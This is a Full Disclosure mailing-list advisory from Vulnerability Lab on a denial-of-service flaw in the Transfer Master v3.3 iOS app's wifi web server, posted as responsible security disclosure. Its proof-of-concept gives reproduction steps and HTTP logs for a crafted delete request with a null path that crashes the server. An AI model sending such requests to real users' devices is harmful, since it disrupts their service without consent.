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Message-ID: <78f36446-ca66-9200-8498-185770cc8e35@vulnerability-lab.com>
Date: Tue, 28 Apr 2020 11:01:30 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Transfer Master v3.3 iOS - Denial of Service Vulnerability

Document Title:
===============
Transfer Master v3.3 iOS - Denial of Service Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2224


Release Date:
=============
2020-04-28


Vulnerability Laboratory ID (VL-ID):
====================================
2224


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Denial of Service


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Transfer Master - Transfer photo,video,file,contact and File manager.

(Copy of the Homepage:
https://apps.apple.com/us/app/transfer-master-transfer-photo-video-file-contact/id590196698
)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote
denial of service vulnerability in the Transfer Master v3.3 mobile ios
web-application.


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre auth - no privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A remote denial of service vulnerability has been discovered in the
official Transfer Master v3.3 mobile ios web-application.

The denial of service vulnerability is located in the delete post method
request on the files path. Remote attackers can
manipulate the ui by sending special crafted requests to cause a null
pointer error that crashs the wifi web-server.
The attacker changes the file delete request to a null path which
results in a null pointer that crashs the application.

Successful exploitation of the denial of service vulnerability results
in a wifi web-server ui crash and freeze.


Proof of Concept (PoC):
=======================
The denial of service vulnerability can be exploited by remote attackers
with wifi network access without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install and start the local ios app
2. Open the wifi share option to start the web-server
3. Move to the front ui
4. Tamper the https session and reply by deleting the files path with
(null) as empty quote
5. The web-server crashs and the wifi ui becomes unavailable by a blank
screen that responds with not found
Note: Service still alive but finally unavailable cause of a null
pointer issue
6. Successful reproduce of the denial of service vulnerability!


--- PoC Session Logs (POST/GET) ---
http://localhost:8181/files//(null)
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
content-type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 28
Connection: keep-alive
_method=delete&commit=Delete
-
POST: HTTP/1.1 302 Found
Location: /
Content-Type: text/html; charset=utf-8
Content-Length: 67
-
http://localhost:8181/
Host: localhost:8181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8181/
Connection: keep-alive
- (Game Over)
GET: HTTP/1.1 404 Not Found (Unavailable)
Accept-Ranges: bytes
Content-Length: 0


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
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advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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